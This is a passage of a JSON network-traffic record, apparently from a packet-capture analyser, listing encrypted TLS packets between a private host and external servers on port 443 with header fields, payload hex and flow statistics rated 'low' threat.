\"TLS\", \"TLS\", \"TLS\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60180, \"ip_len\": 314, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307425715, \"tcp_ack\": 3129735307, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 40, \"payload_preview\": \"bedc482263f3ddbab4b899d8469199958860dfc5242ce8a2170d3eb062d46f2d87611937cf7a3f6e\", \"payload_ascii\": \"H\\\"cF`$,\\u0017\\r>bo-a\\u00197z?n\"}, {\"packet_number\": 13, \"timestamp\": 1781446606.290724, \"timestamp_iso\": \"2026-06-14T19:46:46.290724\", \"timestamp_human\": \"2026-06-14 19:46:46.290\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60181, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307425989, \"tcp_ack\": 3129735802, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 14, \"timestamp\": 1781446606.557349, \"timestamp_iso\": \"2026-06-14T19:46:46.557349\", \"timestamp_human\": \"2026-06-14 19:46:46.557\", \"size\": 3470, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"Padding\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60182, \"ip_len\": 3456, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307425989, \"tcp_ack\": 3129735802, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}, {\"packet_number\": 16, \"timestamp\": 1781446606.572408, \"timestamp_iso\": \"2026-06-14T19:46:46.572408\", \"timestamp_human\": \"2026-06-14 19:46:46.572\", \"size\": 1030, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60185, \"ip_len\": 1016, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307429405, \"tcp_ack\": 3129735802, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 976, \"payload_preview\": \"98819328db8f8dcd12c662049722b514932d88fddc6bac164be2d9c9205f1dc99b8467aa5bb603f4bc20cd0aac5b8b3f94ef64381c9cd6bf24d03bf3832ea54441b3f179d39c9f1eea766f4e4a9cdbf5be0eb945f452cfe410510ed29dae68a1604e8612553ae9e39ab21163ddf39088bad04cefc86aba2477e4d9fac2ecb3e08c43d2a75822d04122d5c90746878044787e0295ab473fb052a97eeb14e4ff432505cb5ccbbf2f0c51ff92276a77dbd04e85445b6864e3964e97826107f0edc989e367d5e6af6bace60121718fa8114759cf10a3e90c05242fc233c9fbb63454091f82e74b89febac28033814411446fef55486d252ea15ca9e827cb62a629f86a807fd897b15e2c15c0198be8ab1a98b65bedc9a0f6ffcb5913795c1daafeda616353eaf1971a8f9c8431d73dad1493ae12c739067c8604516bb6df8086765d50513a21de019da9fc6b7f83972c2b2f2a26d7d1c89a417440822fc19c9b246587f6f65427b5689efc62eee6c493c56d69b61c039e5d0535243beb4b5f90ed4851b876a80a6801b7af3d256981301ea9dbc42e397617b90c4f7597f971d40502038b2c285c9a8852197d26b05c282214bdcaaca7e60a9c547ba75dfa39429b979ecdc6e8ffb4ed55602d8324d717c6e5d0e4f96d5cb055d6f8d23cfc2dfebd74c1e69d8e3f10c6a5f802ef88e208ec6458b4829372fb1f5d80f0105a9f6534f731459c5be3f079f1b2ead87ab45e2244b207e0195dbf6ef91dc293121d2cf09267b2c3afdcee4dd1adca5b11f8af3db8034da8182054f9714761eb8650ad125f98cbc88da9229fabcbd50e378dd59877025c3dacab886a2ae4e3ff93668a46db630321eb7c8def652368380dc5a74ced46f2fd41050386ac6a8e3df2a2f54bb0deb1392be310ddbc4bf6420269c3b4c9302d08183ec8188791d614fae29737acea10dfd588f56862d853a34b5ac7a4e13aa34d28ab83f9ab992de5962bf7dfdd7bba1f2208f97d1a072dc5bb8c36e4057dad2cf528669b30f2b5e4a1b1ec874dedf8443251b165e8b569395734159c01bb00d39520a54b937b0d07f8ff59c98dec8f10718166f6a258b337490ecbc3db9b6f7e665a39101f5f0a103cbd0f56903a194e14d1667acab3520430dd4e209905931636907653ad026acfd6f3a2b596b53f12dc3411e644e8ee7e157bd2d8eefbbed63596ffb9f4a3f50837007aa890b8134efc6839d47d376397e96b1085900d74b6da31959297443f998b4a964416d4b87132da49e51368330aa0a6a207d50ec61d9d52dd1d3a93fde9416e17eccb2e1cc40f9fdf89c34f190cce63886b6d048f02f635001c89af3c4d911d13f8cbdf7842b29949f9b8ff6c5901d355504f\", \"payload_ascii\": \"(\\u0012b\\u0004\\\"\\u0014-k\\u0016K _\\u001dg[\\u0003 \\n[?d8\\u001c$;.DAy\\u001evoNJ\\u000eER\\u0010Q\\u000eh`N\\u0012U:\\u0011cLj$wCX\\\"A\\\"\\u0007FDx~\\u0002G?R~\\u0014C%\\u0005\\\\/\\fQ'jwND[hdNa\\u0007gk\\u0001!q\\u0011GY\\u0010\\f\\u0005$/34T\\t\\u001fK3D\\u0011DoUHm%.\\\\'b)j\\u007f^,\\u0015\\u0019\\u001a[Y\\u0013y\\\\\\u001dacS\\u001a1=\\u0014\\u00129\\u0006|\\u0004Qkv]PQ:!\\u0001k\\u007f,+/*&At@/$eT'hbmi\\u001c\\u0003]\\u00055$;K_HQv\\nh\\u0001=%i0\\u001e.9v\\u0017\\fOuq\\u0005\\u0002\\u0003,(\\\\R\\u0019}&\\\\(\\\"\\u0014\\nT{]9BU`-$\\u0017m\\\\U<-t?\\u0010\\u0002\\bdXr\\u001f]\\u0010Ze41E[yz^\\\"D\\u0007\\u0019]n\\u001d\\u0012\\u001d,gM[\\u0011=\\u0003M\\u0018 TqGaP\\u0012_\\\"\\u000e7w\\u0002\\\\=j*fFc\\u0003!|e#h8\\rLFA\\u0005\\u0003j=K9+\\u0010KB\\u0002i0-\\b\\u0018>\\u0018\\u00147\\u0010hbSKZ:M(-+{\\u001f\\\"\\b}\\u001a\\u0007-6\\u0005},(f0MD2Qei9W4\\u0015\\u0001\\u0000 K{\\r\\u0007Y\\u0010qfX7I\\u000eo~fZ9\\u0010\\u001f_\\n\\u0010<\\u000fV:\\u0019N\\u0014fzR\\u00040N \\u0005\\u00166vS\\u0002j?\\u00124\\u0011D~\\u0015{5\\b7\\u0000z\\u0013Nh9}7ck\\u0010\\rt1D?JD\\u0016q2I\\u0013h3\\n\\u0007\\u000e\\u001dR\\u001d:An\\u0017.\\u001c\\u000fO\\u0019\\fckm\\u0004\\u00025\\u0000\\u001c<M\\u001d\\u0013xBIlY\\u0001UPO\"}, {\"packet_number\": 18, \"timestamp\": 1781446606.633264, \"timestamp_iso\": \"2026-06-14T19:46:46.633264\", \"timestamp_human\": \"2026-06-14 19:46:46.633\", \"size\": 2982, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60186, \"ip_len\": 2968, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307430381, \"tcp_ack\": 3129735802, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 2928, \"payload_preview\": \"2c64a17bf64e10b212de7d4dad60a1b56414aa7301202481fd1b6162d2b55b168baba3c24ad0257cf22d5b4b778e5f793b40fddf37aed7e9e0e56ad3678bc25820dd09502b153599699887344cee397b0fa62b3d717e36da277d0d664fadcaf26cf220205cb49151fb2cd476c45e4fee21330a2333ef004e84a6940e7fe037195cf5f97a7d5e3162c02f62abbbe2d8bd688f5dd816f0d680bd1e34204d052af57a3e97ad86bb001c733e6ad58e01337448d19c49061b275252069862bc6b8e2e28d536d51f658ff9b00c2c821a322356b2b884cb6cd1ec55a408683a5672e5f8a98972ed5ed675ee12bc37d57feb9b74e658ddc06be01325c3f1b64322a1228d8977e4ebf78781c0ef606e0281776143f7e4b7907e8134d6351ef2e5a56916f2f31f74800f80f61e3e5026a73650928df43526c6d0b136226d866707073edc8a67fc9c87be7be0969f4c94463efe834d9ec670b71a514e5816d06932d4979f6af6cc73ed88ace2181b0820e2f0a84329bf298d6b4285e34f2e8e11f58f90fe21c489a3853c9162f162bd01b9f8abeb2e01f7d8076350ae2838017e38ee44019843fc16fd94fbd9d240e9886cbadf74e5603f8dca8810fea5a5dda6bdbfd847dfaccb45fa4dbca5a627ccea6e9a28e78231affd39e727a15acade29268dffb748a5b70e4e9b9ccc8931c718b4a908ba9425f850bc13031d028a936cf972c0e784de30205bfe62a91e61994f6df7e76292c9f70b22624c90020c86c323c6e76eb644d95e7816414651616c3c9e26c6f789effa4e48af27cf7a222b6820e68fa7b0b099ae08a4b88661e46cbe0f6f0ee179f88a1e6712a59f2c1dc877994060fc583759aff95fb759bb7bb0a457d147e89d838521524938ffc7153166340a7203dbfde75025ed1d0c17ef71ec0a0d061f145b2eb6066dacbb3808fbd400c66a976c0202005f22ca77ad64919e375648561bcee069b3866dfb01ab999ec3129c59318040acd22a1b48ae5a86d8c7cb21b327410e0a0a5e0d32f325f2edf5a8b3fb52e0384d4e4f26de54a973d39d4ef56b88b42e15db3f0b40de62fedcc65a3f2bc1294d9c17cc294b5397f823e77e22df0dfdb76f128f2ce7b5eef14f295d7cefbc79652a25832d2b42136c193a4d7b36558fbcabc6b31560b4963fac886df5bfad93ba540dcf474554d9f05c65e37f3f3688e43a5834ce027b4ab8804293b154eead7f70303b383c0561e3e40d068e23e01857d6dcca142338a230e58715e4f8e4e35740d3a07cbdadb251eb4e57346febc00aebc297aa99c83d21fb37d99328a4ff1539b7fa0d89b2eb261e43f5b394833fb5bad44690a83eaf9df76c9e316e3055d307739f6f2666b2a52cd8df4a38938ff514860dea1d5fb809b88288c8db0cf619d8b3f90568a3c14e53f7cddb3e1ce0ecff3b1793f05c6cfca85b57c58b89d15da4a646ef7ab286454a481ae3f61b12c9cad41f35072aa69dcebfaf2218cdb63a185a82f312de35f768ac5687482875c5ab987a5ac78655d4671a7f547d4a7dc1aa61825c8923826438a215db725ebf7887540a3c5d5de60b5ace85a37299961073e39db86eb5596e8ec7c9d2064222f1abfbcf2c4e3cf8d9db9a32ea22711764ae3450fbf0515d1826e8b4ba91b213ba26cec1b312e1ecf36e9096fdcef1a0279a41912b05c6b55935426aa24138fbd21decb4f1f13a45f00f78489bd7a2ee8f26fa38264eee96f86085dec5a06cbced131d4029d6e8e112bfd2915bdbc55faf9218ab2d47e4a41b5c0bb4fa6b5c259dfaaa2919c9d5b7b8735d8181daef17000529897562650da74efdaafbc47889db22afed6e02bd289055cc65fbf596cb08e9d85eb675825e2aa959fd0eaaf1c15411e14d45af8419ee0eb1d4715f298b5d3757f73fb3aa9f9e8f00084729123d24f13d6bb6a71f783d325ca5d34b43864efc4e6be39e32eb0944b8273c25ae4f0bb35823abb79f02b9490cc61dfa2e84b2a47beda0e25c207a4454bdea65fc68fcbc3a5768c04ac4e64b05df3324886eab3f368411ae28f332ee9531f92e4423dabfb5ecd42b02bad05a774ba0e31b47fc810fcf074b327beb61c55b4d1eba91dd2bfad47f421fc5d3fcc804d0f63c826787e74157dac3794c9bdad0e127d316b2966619db27bee3a586aa283e70c0df82629dca76fdb5c033cc54d3d46618f4fe55dff18cefea2960250acecef444674dd2f71aaae8e557f820f9299ae67c82512902a1ef93d85672ea6968cef6ca2dbd1f18d7d52b1b04f2b2b70af04f59adfaf03be69c0a46140ba5d2a8acbe65da2ff762038dee751da06a4d2cf7f3271e86324e4af79cafb0a93d9561678bed9757f97661edbad319109276081ff1fcdcb01f361918719315c46c08504f4067376fc44d4160f11a2129fca81cc5fcc1eb8443b9c3de2ac21d24f35e54b2e207d6922699f2db8b096907fc8b2235510035846e9ebe08ac9e9c5e88fac905100507932dc5390d066154f9b6e90808469b8fcb96408273dd72d62a608a0cb2b09f8ee15ba74098508a4c2681124dd61af477f7a6fb9c6fe39f52a8926b6c4ab86db1f293cb5b96762b99beab0122d0ab0a14548269484d6af0b722a0407332a24a3dc067d04cb48a50560135fd9815689a84edd597e1c721fdd4ada51768b353813fef49e2e40be1c2438da69f607a1723c326b3e826d69f7b7ac8a96591aa2e4abda3f85bbd5e2de62d7c1ceb7533515c39b7f59ac1e6c5119d32f308d5ff370586bb8d61a3dac2238adf6b7716030da8aa1ab881fe0962ebf6d6a53e4f6cbe00eba8ed7beb0f0b855f89da301c2a1f150ce2a5f3a6abb2147e8ecd1bb5ebf66907187c152bf4b22ec2d95987f378fd1d6f27619e206e6c57a3d5aa38ec52dae8e3572c18b3b2a3e3dcbc7795ea0161170f5a8ebbef878791d682681287400a40ba5c4d59d846bfc3193cdf409a4cc2c11322d1c83e21e26e55da8c42a21b27d3971c9e1928b81aa13057bfc230a644deb86ef1ab771008ef9fcbb64228cd6ba92f06388c331aea81637547f751e05a02a83093d7afd00863efed6524190f3b05145186c64de88f4f5905b5365e0cb6971ee6194fff4b404e9307d57c090a69661c10e271ebe04241eeae5ba6667543aa4da9075673e2334381e6362f16158aba4fd4b6d4d210f81a666b51149e8fecfe4230c023b896ab449f31c114dd77162cd59be6d121f8452c5dca9f08d4804aafe7eb34414653ac779ee41644afe04a9741ecedb5696e067c506bd1c935a1d50be8d45b5453f63be8d260af25b9a1c2adf9c6ab56988ba6d7b4716d72138c5a65e618218e1c6f6b4dcd1e06efc1a738da676203804f983f291f221a63b6a86507bed841893fbb486649d6b6ed515de1c77cec6c61a38077d387078aaf5f40f6ae6c5b0f90ec1adbdd66cd2ba9fc5b9463555fe9ce8370687ceaa74869d7b754fd8fc6bd6912f6e4231472afcf3a0e6e838499d529116e71407c2e8d0e67979e8f3a35e037bff29fd7f62a68a1c1347f2bc17d1bdad6b5772f1cee0c480c17ba33b49ffbf8370edde0e88288a4a3c6d30083fa88353e7d11c1797b32cb0768812dbd57d025b64d5728eb28a38ec16f280c1d5800307ceb968817cc1caa54c820388267915c75d9174005ce980df4eba8334d8d87293f243d53062fcce53d71802b0156f614588a64776b3671d1f764c45a4d35c5d762f8b31f0399c440bd3f9d50bc8733b54891f0ebe0656063101245890ce27cce6a94ed6069aad876a8ab0f83072ee150ba78a6ef2c74946e49a2fe833fdb9dc5460ba1bb26dad64b8cd8fafd73805dee67b491bf335991afa6e019dac2cf712b4d44c1c8036da764bef348a76d0291f567626a14934e7f9ac64de89726b6508bdeb2122fe185a736da61dc7c5b0d871c3380030bb1e797eebe98369971e8bd481139db319281e0aab1bf8e3acab1bf16dfb8ab5dec27a468e1a75eb5c10c64d4f92a23a0b21d83ba4b4610f8e0bec51ae43e45aec2538fdf81b511864863582a56fbf25f482b50d154d7be709f261101b4d8141f146f930e2f2fed54b80eb0e7509722077d7ac4daec2a06845b601dd323bea51c462b867cea616a7ed974e1bdd52de3e6500dad4adcfe5cf5\", \"payload_ascii\": \",d{N\\u0010\\u0012}M`d\\u0014s\\u0001 $\\u001bab[\\u0016J%|-[Kw_y;@7jgX \\tP+\\u00155i4L9{\\u000f+=q~6'}\\rfOl  \\\\Q,v^O!3\\n#3\\u0000N\\u000e\\u007f7\\u0019\\\\z}^1b/bh]\\u0016\\u001e4 M\\u0005*z>\\u0000\\u001cs>j\\u00013tHI\\u0006\\u001b'RR\\u0006bk.(6\\u001fe\\f,\\u001a2#VlU\\bh:Vrr^u\\u00127\\u007ftXk\\u0013%C\\\"\\\"w`n\\u0002waC~45\\u001ei\\u0016\\u001ft\\u000f\\u001e>P&6P5&6\\\"mg\\u0007\\u0007>g{LF>Mp\\u001aQNX\\u0016i2js\\u0018\\u001b\\b C))kBO.\\u0011!<bb\\u0001.\\u0001\\u0007cP(8\\u0001~8D\\u0001C\\u0016@lt`?\\u0010GEM'n(19'Z)&H\\u000eN1\\u0018\\b%P\\u0013\\u0003\\u001d\\u0002lr0 [b\\u001eaOmb\\u000b\\\"bL\\u0002\\f#nD^x\\u0016AFQal<&NH'z\\\"+h \\bal\\u000fo\\u000ey\\u001eg\\u0012,\\u001dw@`X7Y_Y{WG!RI8\\u00151f4\\nr\\u0003P%\\u001d\\f\\u0017q\\n\\r\\u0006\\u001f\\u0014[.\\u0006m8\\b\\u0000jl\\u0002\\u0002\\u0000_\\\"wd7VHV\\u001bim\\u0001\\u0012Y1@*\\u001bHZ!'A\\u000e\\n\\n^\\r2%R8MNO&TsNk.\\u0015?\\u000b@bZ?+)M\\u0017)KS#~\\\"\\ro\\u0012,O)]|ye*%-+B\\u0013l\\u0019:M{6U\\u0015`?mT\\rGET\\\\e\\u007f?6:X4\\u0002{JBT\\u007fp0;8<\\u0005a\\r\\u0006#\\u0018W\\u0014#80\\u0015W@|QNW4o\\n=!7(\\u00159\\r&\\u001eC?F>l1n0U\\u0007so&f,J8\\u0014\\r\\u001d_\\t\\f\\u0019\\u0005hNS>\\u001c;\\u0017\\\\l[W]FzEJH\\u001a\\u001b\\u0012\\u001f5\\u0007*\\\"\\u0018:\\u0018Z\\u00125hVH(uzZUg\\u001a\\u007fT}J}a\\\\#d8\\u0015r^xT\\n<]]\\u000bZr\\u0010snYn\\u0006B\\\",N<2\\\"q\\u0017d4PQ]\\u0018&\\u0013&\\u0012n'A+\\u0005Y5BjA8\\u001d:E\\u000fxH&8&N`l\\u0013\\u001d@)\\u0012[_\\u0018-G\\u001b\\\\\\u000bk\\\\%)\\u0019s]\\u0017\\u0000\\u0005)ube\\rNx\\\"n\\u0002(Ue\\b^u^*Y\\u000eT\\u0011ME\\u0019\\u000eq_)]7W?\\u0000\\bG)\\u0012=$=k\\u001fx=2\\\\KCNNk2\\tD'<%O\\u000bX#\\u0002I\\f\\u001d.{\\\\ zDTeh:WhJK\\u00053$n?6\\u0011(21.D#+\\u0002ZwK\\u001bG\\u000f\\u0007K2{a[M\\u001e+\\u007fB\\u001f\\u0004<gAWyL'\\u0016f\\u0019'(>pbv3Tf\\u0018U)`%\\nDgM\\u001aW )|Q)\\u0002Vrih-\\u001f\\u0018+\\u001b\\u0004\\nOY;\\nF\\u0014\\u000be/b\\u0003u\\u001djM,'\\u001e2NJ=agWva\\u0019\\u0010v\\b\\u001f\\u001f6\\u0019\\u0018q\\u0015l\\bPO@g7oMA`\\u001a!)\\u001cC*\\u001d$^T\\u0007&\\ti\\u0007\\\"5Q\\u00005n\\b^\\u0005\\u0010\\u0005\\u0007-9\\r\\u0006aT\\b\\bF@sr*`\\f[@PL&\\u0012M\\u001awoRklJm[v+\\u0001\\\"\\n\\u0014TiHMj\\\"@s2J=gLPV\\u00015\\u0015h!\\u0017hS?I\\u000bC`z\\u0017#&&{ze.J[^--|\\u001cu3Q\\\\9\\u00112\\b7\\u0005a#kw\\u0016\\u0003\\r\\u001a\\tb>Ol\\u0000{\\u000f\\u000b_0\\u001c*\\u001f\\u0015\\f\\u0014~\\u001bi\\u0007\\u0018|\\u0015+.Yx\\u001do'a nlW8RW,\\u0018w\\u0001a\\u0017\\u000fZh\\u0012@\\n@\\\\MYF\\u0019<@L\\u0013\\\">!nUB\\u001b'\\u001c\\u0019(\\u001a0W0Dnw\\u0010\\bB(k/\\u000683\\u001acuGQZ\\u00020\\bce$\\u0019\\u000f;\\u0005\\u0014QMOY\\u00056^\\f\\u001e\\u0019OK@N\\u0007|\\t\\nif\\u001c\\u0010qBA[fuCM\\u0007Vs3C6/\\u0016\\u0015O\\u0010\\u001afkQ\\u0014B0#D1\\u0014w\\u0016,!E,]\\bJ4AFSw\\u0016DJAin\\u0006|Pk5\\u000b[TS;`%Vqmr\\u0013Ze\\u0018!\\u001cokM\\u001e\\u00068gb\\u0003O?)\\u001f\\\"\\u001ace\\u0007A?HfIQ]|law\\u0007_@l[\\u000f\\u001af+[cU_ph|HiTi\\u0012#\\u0014r:\\u000en)\\u0011nq@|.\\u000eg:57*h4\\u007f+}\\u001bw/\\u001c\\fH\\f\\u001737\\u000e\\u00005>}\\u0011y{2\\u0007h-W%MW((o(\\f\\u001dX\\u00000|\\u0017\\u001cT 8g\\\\u\\u0017@\\u0005\\r3M)?$=S\\u0006/=q+\\u0001V\\u0014Xdwk6qdZM5b\\u001f\\u0003@?P3He`c\\u0010\\u0012E\\f|j`iv\\u000f\\u0007.Px,tnI?F\\u000b&Ks]g3Y\\u0019q+MD\\u0003mdHm\\u0002gbj\\u0014N\\u007fM&P\\u0012/6a|[\\r\\u001c3\\u0003\\u000b6qH\\u001191:\\u0016]'h^\\fd*#\\u001dKF\\u0010\\u001a>ES\\u0011HcX*V_H+PTp&\\u0011\\u0001\\u0014\\u001f\\u0014o\\u000e//T\\u000eP\\\"\\u0007}z*\\u0006[`\\u001d#\\u001cF+|aj~t-P\\rJ\\\\\"}, {\"packet_number\": 20, \"timestamp\": 1781446606.748809, \"timestamp_iso\": \"2026-06-14T19:46:46.748809\", \"timestamp_human\": \"2026-06-14 19:46:46.748\", \"size\": 831, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"_TLSEncryptedContent\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60189, \"ip_len\": 817, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307433309, \"tcp_ack\": 3129735802, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\", \"payload_size\": 777, \"payload_preview\": \"5b3c510f455a99a67b793d3be150e345dca0517251cb473784bdecc584ad3c5bb1d28b6d19fc516b68a904cbeb895317be0d2e44478da2b899648737d213eb39dadf88b88ad0ced467bdddac3e5e78e2daca6e64a94a63341903791f7afd48796b96651c44509f078ae45a5c72af1e6d9b6c6c258b11fca887f9fc757f3fc69581c2cd16efac48d3230b7f4ecb76e42c09404194a24475ae443fc60047228496e7f5f81d04ace5824ac8fda0d427ba4b6ae57b593e90c1415899113e024fa73333f8778dc734fe623b9e4fa8dffd999aa5af44e17cca5ef24aff99f19dde0d86d2e8e90629e35a4913b42c4c4b392538a873801817af3ff2cb985091766ed924b8339259a1a7d58f4e2c233dd52032656ba7a7a2440c98e6fcdbd89b3d700d5eb2a8d0b61de82595f763f2ddc88a40f9c3fe1a7e04e9fd36477101dbb418852a2f5ed1988ea1665fba58dd0e93dfc481c38c6bc660d00ca56ca9c096b534503e25627bfd7dac5171166f7499589d0fcdfee77d4d3328e3e11fcfa70a0d943d54eb25481a88e9e6933c56f4ea5c9230588792e5b04fb2f476ae2c6520d29504328cefc37e5fcf98a780f368c6f0f8fc4e7e8e526f58b29c859ae4bec7420e375008f19a1e58e3ed3aba044a2ccad519c13114a1b7e9493f1a7784dd01b4b0d11b41c748c0d6161a890143fd85387a4176ab7bbe0b0e409f213e83aedf612ce55c1784526af733a688f76214c59d7cd8fb6e7e2cf8cf854e685aaee3a3e936eafaa92e4c2f00b664eee810834b955cdf96b2c1997435216666edf862483fe573699c7a135147f0bd3f31415b6b65ca01b01f4a33ebbe7f8563b4921086634606ba9eb443e0d34c6ae62159f257fefb1c13739b6ee58034aa2bdf53626af9cd915fd0aba11904e273c454a7abd4458ceb81f85171c58baa95f88bcb03d3aa9582e0edbb6e7d2791faa1073c73f8dbfb3b45ac083b91fdc2314f1d89dd44e1f261a333fff2227bce729b2b264b376a7e8acc892e3a6b87dc6a6fac6a7e5411e55abc1edcad18ae742a89e2798d27e4ed454c45d2c630aeac738ab6d8316ee61b00dce7525c11293ab0acee\", \"payload_ascii\": \"[<Q\\u000fEZ{y=;PEQrQG7<[m\\u0019Qkh\\u0004S\\u0017\\r.DGd7\\u00139g>^xndJc4\\u0019\\u0003y\\u001fzHyke\\u001cDP\\u0007Z\\\\r\\u001emll%\\u0011u\\u007f?\\u0016H#\\u000b\\u007fNv,\\t@ADuD?\\u0000G\\\"\\u001d\\u0004J'Kj{Y>AX\\u0011>\\u0002O33w4b;OD|^J\\r\\u0006)ZI\\u0013,LK9%8s\\u0018\\u0017?Pvn$3YN,#= 2ekD\\f=p\\r^\\u001d%c@\\u001a~\\u00046Gq\\u0001\\u0018*/^f_X\\u000ek`\\fl4P>%b{}Qq\\u0016otX\\u000f}M3(\\u001f\\n\\r=T%H\\u001a<V\\\\0XOv,e \\u00042~_hN~RoXB\\u000e7P\\b\\u001eX:\\u0004J,\\u00191\\u0014I?\\u001aw\\u0001\\u001bAH\\u0016\\u001a\\u0001C8zAv{\\u000b\\u000e@!>a,\\\\\\u0017Rj3b\\u0014|n~,NhZ6.L/\\u0000d\\u0010K\\\\t5!ffbH?siz\\u0013QG?1A[ke\\u0001\\u001fJ3\\u007fc\\u0010cF\\u0006CLj!YW\\u001c\\u0013sn4+Sbj_\\u0019\\u0004sTEQq\\u0003n}'\\u0007<s;E\\b;1O\\u001dDa3\\\"{r+&K7j~.:kjoj~T\\u0011Z\\u001e\\u0018t*y'ELE0s1n\\u001b\\u0000R\\\\\\u0011):\"}, {\"packet_number\": 23, \"timestamp\": 1781446607.30262, \"timestamp_iso\": \"2026-06-14T19:46:47.302620\", \"timestamp_human\": \"2026-06-14 19:46:47.302\", \"size\": 54, \"protocols\": [\"Ether\", \"IP\", \"TCP\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60190, \"ip_len\": 40, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307434086, \"tcp_ack\": 3129736184, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": false, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"ACK\"}, {\"packet_number\": 29, \"timestamp\": 1781446607.617399, \"timestamp_iso\": \"2026-06-14T19:46:47.617399\", \"timestamp_human\": \"2026-06-14 19:46:47.617\", \"size\": 687, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ip\": \"2.23.89.83\", \"dst_ip\": \"10.152.152.11\", \"ttl\": 64, \"ip_id\": 60191, \"ip_len\": 673, \"ip_flags\": {\"DF\": true, \"MF\": false}, \"ip_proto\": 6, \"src_port\": 443, \"dst_port\": 63940, \"tcp_seq\": 307434086, \"tcp_ack\": 3129736184, \"tcp_window\": 63, \"tcp_dataofs\": 5, \"tcp_flags\": {\"FIN\": false, \"SYN\": false, \"RST\": false, \"PSH\": true, \"ACK\": true, \"URG\": false, \"ECE\": false, \"CWR\": false}, \"tcp_flags_str\": \"PSH,ACK\"}], \"tcp_flags\": {\"SYN\": 1, \"ACK\": 13, \"PSH\": 8}, \"packet_sizes\": [66, 54, 3470, 339, 54, 328, 54, 3470, 1030, 2982, 831, 54, 687], \"inter_packet_intervals\": [0.0013849735260009766, 0.38372802734375, 0.044760942459106445, 0.01326894760131836, 0.40601611137390137, 0.006860017776489258, 0.26662492752075195, 0.01505899429321289, 0.06085610389709473, 0.11554503440856934, 0.5538108348846436, 0.31477904319763184], \"connection_type\": \"TCP Connection\", \"threat_level\": \"low\", \"duration\": 2.1826939582824707, \"avg_packet_size\": 1032.2307692307693, \"packets_per_second\": 5.955942632575712, \"bytes_per_second\": 6147.90724511796, \"min_packet_size\": 54, \"max_packet_size\": 3470, \"median_packet_size\": 339, \"avg_interval\": 0.1818911631902059, \"min_interval\": 0.0013849735260009766, \"max_interval\": 0.5538108348846436}, {\"source\": \"10.152.152.11\", \"target\": \"40.104.62.178\", \"packet_count\": 17, \"total_bytes\": 1704, \"protocols\": [\"Ether\", \"IP\", \"TCP\", \"TLS\"], \"src_ports\": [63966], \"dst_ports\": [443], \"first_packet\": 1781446607.518371, \"last_packet\": 1781446614.963969, \"packets\": [{\"packet_number\": 24, \"timestamp\": 1781446607.518371, \"timestamp_iso\": \"2026-06-14T19:46:47.518371\", \"timestamp_human\": \"2026-06-14 19:46:47.518\", \"size\": 66, \"protocols\": 